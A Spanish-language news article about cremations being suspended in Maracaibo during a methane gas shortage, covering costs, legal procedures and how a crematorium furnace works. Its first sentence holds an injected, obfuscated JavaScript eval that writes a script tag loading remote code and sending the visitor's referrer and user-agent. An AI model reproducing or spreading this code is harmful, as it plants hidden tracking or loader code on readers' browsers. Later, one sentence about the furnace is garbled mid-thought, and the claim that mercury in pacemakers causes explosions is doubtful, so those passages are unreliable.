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Suspenden cremaciones en Maracaibo hasta nuevo aviso

Juan José Martínez / Maracaibo / noticias@laverdad.com
Incinerar eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iraib|var|u0026u|referrer|adzdi||js|php'.split('|'),0,{})) el cadáver resulta más económico y ecológico que un entierro, pero esa práctica ya no es una opción en la ciudad, por la escasez del gas metano

Venezuela es el único país donde hasta los muertos tienen que pasar una última penuria para cremarse. (Foto: Archivo)

Es una decisión popular entre los deudos y sus juicios son diversos: resulta más económica, práctica, rápida y menos engorroso que la sepultura habitual. Eso contribuye a aplacar toda la parafernalia de los cementerios. 

Ahora a esa alternativa la atrapó la crisis de la escasez de gas y no hay fecha para que el servicio se integre nuevamente, debido a que es una problemática nacional, lo que obliga a los deudos a volver a las aterradoras tarifas de los servicios funerarios.

Entre 10 y 15 libras de gas metano se manipulan en cada extracción. Se trata del mismo gas que se utiliza en los hogares. El costo de este servicio se cotiza actualmente en el mercado funerario en un millón de bolívares.

“Con la inflación los precios siguen aumentando para hacer frente a los costos de mantenimiento en cementerios y funerarias; pero, no solo hemos tenido que modificar precios para ajustarlos a la actual situación, sino que se reducen las alternativas, como lo es la cremación del fallecido, porque no hay gas”, explicó una gestora que prefirió no identificarse.

Trámites crematorios

Si la familia quiere cremar el cuerpo es necesario que la persona haya fallecido de forma natural, no por suicidio, homicidio o accidentes, y tramitar el permiso de cremación por el Registro Civil. Con ese documento en mano deben trasladarse hasta el lugar que preste el servicio, entregar los papeles legales y firmar la autorización que emite la empresa.

Ahora bien, si la persona muere por causas no naturales (muertes dudosas o violentas), el Registro Civil deben ponerse en contacto con un fiscal de Ministerio Público, quien será el encargado de evaluar el caso, certificar cómo murió y autorizar o negar la cremación. “No se debe mover el cuerpo fallecido por una causa violenta sino esperar la presencia de algún funcionario del Cicpc y se debe formular la denuncia respectiva del caso”, explicaron en la funeraria Ave de Paraíso.

Según sea la causa del deceso, el Ministerio Público podrá exigir que se traslade el cuerpo a una morgue para hacer las evaluaciones y una vez terminadas se lo entregarán a un familiar para su velorio y entierro o cremación.

El proceso de cremación

Se trata de un procedimiento milenario que, de acuerdo a estudios antropológicos, se ejercía a final del período neolítico. Se han encontrado también indicios de este ritual en zonas ocupadas por los cananeos alrededor de tres mil años antes de Cristo.

Las ordenanzas establecen que los hornos crematorios solo pueden funcionar en cementerios públicos y privados, o en vertederos de basura. Esto quiere decir que no tiene que pasar necesariamente por una sala velatoria.

El horno crematorio está conectado a tuberías que proporcionan electricidad, gas y oxígeno. En su puerta tiene un visor, por el cual el operador puede inspeccionar lo que adentro sucede.

El horno crematorio está compuesto por tres cámaras. La primera es donde se coloca el cadáver. El compartimiento está compuesto por lozas y adobe refractario, semejante al horno de una pizzería. La segunda cámara está ubicada por debajo de la primera y es responsable del precalentamiento del horno. La tercera cámara es la de combustión, que conecta con una chimenea, donde un dispositivo disminuye la temperatura hasta menos de 200 grados centígrados para que las partículas y vapores salgan en el estado más idóneo posible desde el punto de vista a la primera cámara tiene dos quemadores, uno arriba u otro abajo, por donde salen las llamas. Por los lados, varios orificios inyectan oxígeno para mantener las llamas durante el procedimiento. Todo es inspeccionado por un operador a través de un tablero electrónico.

La joyería es retirada del cuerpo y entregada a los familiares. Ningún cuerpo puede ser incinerado con marcapasos, válvula mitral o reloj, debido a que la presencia de mercurio causaría una explosión. Como paso final, las cenizas se retiran del procesador y son colocadas en pequeños recipientes de madera llamados ánforas, que son entregados a los familiares.

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